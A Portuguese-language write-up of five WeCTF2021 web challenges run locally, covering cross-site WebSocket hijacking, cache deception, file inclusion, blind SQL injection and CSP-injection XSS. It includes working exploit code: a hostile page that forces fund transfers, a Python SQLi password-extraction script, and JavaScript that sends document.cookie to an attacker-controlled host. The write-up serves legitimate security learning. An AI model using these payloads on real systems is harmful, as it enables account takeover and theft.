WriteUp WeCTF2021

Depois de aprender um pouco sobre pentesting, decidi aplicar meus conhecimentos no WeCTF2021. Disponível no Github, esse CTF pode ser rodado na sua máquina e feito localmente. Aqui está o que eu aprendi!

Introdução

Quando comecei a estudar segurança da computação, a imagem que vinha na minha cabeça era principalmente a parte de pentesting web. O motivo é simples: já tive dois anos de experiência trabalhando com desenvolvimento web em plataformas como Laravel e Angular, e nesse período eu cheguei a descobrir uma injeção de código em um dos produtos que estava desenvolvendo. Consequentemente consegui mais uma sprint, mas desde então fiquei muito interessado pela área.

Agora em 2021, nas férias da faculdade, decidi me aplicar um pouco mais na área de segurança e escolhi um CTF para fazer. Um dos sites no qual você pode acessar CTFs antigos é o CTFTime, onde eu encontrei o WeCTF2021. Como os desafios estão disponíveis no GitHub deles em forma de containers Docker, é possível emular o ambiente do CTF original (com alguns cuidados, que falarei em breve) e botar a mão na massa.

Instalação e Configuração do Ambiente

Pra quem está lendo isso e quer fazer também, segue aqui o que você vai precisar para emular o ambiente da melhor forma possível.

Tendo isso instalado, basta clonar o repositório com git clone https://github.com/wectf/2021, abrir um terminal dentro da pasta clonada e criar os containers com docker-compose up. Não recomendo rodar os containers usando a flag -d, que joga os processos em background, porque alguns containers podem ter problemas para serem rodados, como aconteceu comigo. Sem a flag você pode ver quais containers deram problema e quais erros aconteceram.

Outra recomendação: só tenha rodando os containers que você for usar para cada desafio (a não ser que o seu consiga rodar, porque o meu chegou no 100% de uso de CPU rapidinho)! Depois de tiver todos os containers criados, basta pará-los com docker compose kill, escolher qual quer você quer fazer com docker container ls -a e iniciá-lo com docker start <container_id>

Enfim, o WriteUp

Coin

Tela Inicial do Desafio

Depois de iniciado o container, você terá acesso a um maravilhoso site de trading de Eth! Ao fazer login, verá que você é o único lá além de você é um colega com o nome TheBoss com 1M de dólares na conta.Objetivo: roubar o dinheiro e sair correndo!

Analisando tanto a comunicação entre cliente e servidor quanto o código fonte do site, verá que, uma vez conectado, a comunicação com a exchange é feita via WebSocket. O protocolo funciona de uma forma relativamente simples: primeiro um handshake é feito entre cliente e servidor, e se o handshake for aceito, será feita a troca de protocolo e a conexão WebSocket é estabelecida.

Handshake do WebSocket

Essa conexão WebSocket está suscetível a um ataque: se o handshake não usa qualquer tipo de token de sessão como um CSRF token, então qualquer site malicioso que for aberto por uma vítima pode fingir ser a vítima abrindo essa conexão. Esse é o Cross Site WebSocket Hijacking, ou CSWBH, e essa é a vulnerabilidade desse desafio.

O código revela que existem cinco operações que podem ser feitas pela api da exchange: ping, que pega informações básicas do site para mostrar, init, que faz o login ou cadastro; buy, que compra Eth; sell, que vende Eth, e por fim transfer, que transfere Eth de um usuário para o outro. Tendo isso em mãos, basta montar um pequeno webserver em Python com o site malicioso que criará a conexão e fará as transferências para nossa conta! Sendo isso, fiz um site simples com uma tag script com o código abaixo.

const socket = new WebSocket("ws://localhost:4001","ethexchange-api");

var transfer = JSON.stringify({
	"type":"transfer",
	"content": {
		"amount": 3, // quantidade humilde para teste
		"to_token":"meu_token" // aqui entraria o token do meu user
	}
});

socket.onopen = function (event) {
	// Vários para garantir
	socket.send(transfer);
	socket.send(transfer);
	socket.send(transfer);
}

socket.onmessage = function (event) {
	fetch("http://localhost:8000/?response=" + event.data);
}

O código fará várias tentativas de transfer de Eth para a minha conta e para cada resposta do servidor, enviará a mensagem para o localhost porta 8000 em forma de parâmetro de requisição e ela poderá ser vista na lista de requests do servidor Python aberto com python -m http.server. Com isso, conseguimos a resposta abaixo:

Primeira tentativa de exploit

Obtemos um JSON dizendo foram feitas três transferências de 0 Eth. Isso nos mostra que a vítima em questão não possui Eth na conta, somente dólares. Não seja por isso: podemos também fazer com que ele compre Eth antes de transferir! Basta adicionar compra de Eth no payload e a flag é nossa!

/* Mantém a mesma coisa que antes, mas agora tem isso */

var buy = JSON.stringify({
	"type":"buy",
	"content": {
		"amount":"7000",
	}
});

socket.onopen = function (event) {
	// Agora com buy antes
	socket.send(buy);
	socket.send(buy);
	socket.send(buy);
	socket.send(transfer);
	socket.send(transfer);
	socket.send(transfer);
}

socket.onmessage = function (event) {
	fetch("http://localhost:8000/?response=" + event.data);
}

Transferência bem sucedida no Terminal

Agora as requisições mostram que dinheiro foi transferido para nossa conta, e se olharmos para nosso saldo…

Conta com Dinheiro

Tendo mais de 5 mil na sua conta, a flag será enviada para você na comunicação WebSocket depois de você enviar um ping.

Flag do Desafio

Cache

Nesse desafio, temos um site simples com duas páginas: index e flag. Na página index, recebemos um texto simples dizendo que não tem nada lá, mas para conferir o flag. Em flag, vemos que não podemos acessar a não ser que sejamos admin. Na pasta uv_worker vemos que existe um arquivo Python do desafio, então é outro desafio no qual temos que enviar links maliciosos para a vítima

Código Fonte do Desafio

Dando uma olhada no código fonte da middleware que faz a autenticação que bloqueia a gente, vemos uma implementação de caching curiosa: se a página a ser acessada tiver sufixo de JS, HTML ou CSS, ela será cacheada e disponível para acesso mais rapidamente que as outras.

Isso é feito para que arquivos estáticos, os que todo usuário precisa ter acesso, estejam disponíveis rapidamente. Mas esse cache foi implementado de uma forma insegura, que permite um ataque de cache deception: a manipulação do sistema de cache de forma a cachear informações confidenciais, como por exemplo uma página de admin…

Para isso, basta gerar um link no site alvo cujo sufixo passe pelo filtro de cache, mas o prefixo contenha a palavra flag, e mandar para que o administrador acesse. Isso fará com que o arquivo seja disponibilizado para todos por causa do cache, mas o roteamento do site vai gerar a página com a informação confidencial. Ela estará disponível por 10s: tempo o suficiente para acessarmos a página e obter a flag!

Include

Nesse desafio temos uma página, que, quando aberta, reclama que não definimos um arquivo para ser apresentado. O código PHP no começo da página mostra que o arquivo tem que ser passado como parâmetro do GET, e também usando um emoji. O desafio também mostra que a flag está no arquivo flag.txt. Sendo assim, basta acessar a página com o parâmetro a seguir e a flag é nossa!

/?exploding_head=/flag.txt

Phish

Esse desafio é interessante: a vítima dos desafios, Shou, caiu num site de phishing que não é nosso! Mas o site de phishing em si é vulnerável à SQLi, e sabendo disso, nosso objetivo é extrair a senha dele (a flag) desse site. Para esse caso, o código fonte nos mostra algo interessante: se a query para o banco de dados tiver algum tipo de erro, esse erro será retornado na tela, caso contrário, a query passa e ele redirecionará para a página que mostra que você teve sua senha roubada.

Código Fonte do Desafio

O site não possui nenhum tipo de reflexão de dados na tela, então algum tipo de SQLi que retorne a senha na tela é inviável. No entanto, podemos fazer diferente: como somente erros aparecem na tela, podemos fazer bruteforce da senha injetando uma query que insira uma senha no BD se e somente se nosso palpite for uma parte da senha do Shou. Para fazer isso, escrevi o pequeno script abaixo, cujo payload do SQLi e detalhes eu vou descrever melhor abaixo.

from requests import *

if __name__ == '__main__':
    host = "127.0.0.1:4008"
    s = session()

    passwd = "we{"
    name = "nomedeusuario"

    char = '+'
    while '}' not in passwd:

        if char == '?':
            char = chr(ord(char) + 1)

        passwd_iteration = passwd + char
        sqli = f"qqrcoisa',( SELECT password FROM user WHERE username='shou' AND password GLOB '{passwd_iteration}*' ));--"

        form_data = {
            "username": name,
            "password": sqli
        }
        result = s.post(f"http://{host}/add",data=form_data)

        if b"Your password is leaked" in result.content or b"UNIQUE constraint failed" in result.content:
            passwd += char
            char = '+'
            print(f"> HIT: {passwd}")

        elif b"NOT NULL constraint failed" in result.content:
            # print(f"> NOT HIT: {passwd + char}")
            char = chr(ord(char) + 1)

Com esse exploit, a senha será construida lentamente através das “confirmações” do banco de dados do site!

Exploit sendo executado

CSP 1

Esse foi o desafio dos quais eu mais lutei contra, por um motivo mais relacionado com o ambiente de teste do que o desafio em si, mas já já falo sobre isso. Ao iniciá-lo, você verá um site no qual você pode escrever num formulário um pequeno website, que pode ser acessado depois por um link gerado na hora. A princípio você pode pensar “ah, vou escrever uma tag script, rodar meu JS, pegar a flag e sair correndo”. Boa ideia, mas ela não vai funcionar, por um simples motivo: CSP, ou Content Security Policy.

Content-Security-Policy é um cabeçalho de requisição enviado pelo servidor, que define o que pode e não pode ser executado ao acessar uma página. Quando enviamos o nosso projeto de website, ele nos retorna o site do jeito que fizemos, mas bloqueando conteúdos perigosos por meio dessa medida de segurança.

Se fizermos um simples site com uma tag img, veremos que a página criada remove o arquivo desejado e deixa somente o domínio, para que imagens possam ser pegas nele. Então se enviamos uma url com https://evil.com/imagem.jpg o CSP terá configurado com https://evil.com somente

Isso mostra que o que é passado pro atributo src é colocado no CSP pelo servidor. Sendo assim, isso abre uma possibilidade para alterar o que tem no CSP, permitindo que façamos um site com XSS para enviar ao administrador e pegar a flag!

Lendo mais sobre o CSP, é possível ver que o atributo script-src define se scripts podem ser rodados no site em questão. No site alvo, ele está desabilitado, mas ao injetarmos nosso próprio script-src com o valor unsafe-inline, podemos agora fazer tags script e executar código.

A partir daqui, bastaria fazer um fetch com os dados do cookie para um domínio ou servidor que controlamos e sucesso, certo? Errado, por um simples motívo: fetch está bloqueado pelo CSP, e como está antes da nossa injeção, não podemos sobrescrevê-lo. Mas não seja por isso: basta, ao injetar o CSP, autorizar um domínio nosso e, por meio de outra imagem, exfiltrar os dados. Isso pode ser feito da seguinte forma:

setTimeout(function(){
	var imgNova = document.createElement("img");
	imgNova.src = "http://meu.pc:8001/?cookie=" + document.cookie;
},2000);

Note que a url em questão é meu.pc. Isso se dá porque tem um pequeno problema de fazer esse desafio usando localhost: como tanto a máquina do atacante como a máquina da vítima estão no mesmo domínio de rede, o cookie de autenticação será enviado mesmo se você não exfiltrar ele, porque ele é considerado como Same Origin. Para fazer com que o desafio ficasse mais parecido com o real, eu adicionei no /etc/hosts uma linha que define outro nome para localhost: meu.pc. Dessa forma, eu não tomo um spoiler do desafio!

E passando esse link para o computador da vítima (no mesmo jeito com a pasta uv_worker que os outros desafios), quando ela acessar, uma requisição será enviada para localhost:8001. Para ver o que é mandado lá, basta “ouvir” usando netcat (ncat -lk localhost 8001) e o cookie chegará da seguinte forma:

Output do netcat depois do exploit

Considerações Finais

Eu parei meu write up aqui por alguns motivos simples:

Pretendo atualizar esse post com as próximas soluções que conseguir assim que tiver conseguido atacar o desafio, mas por enquanto fico por aqui. Obrigado por ter lido até aqui!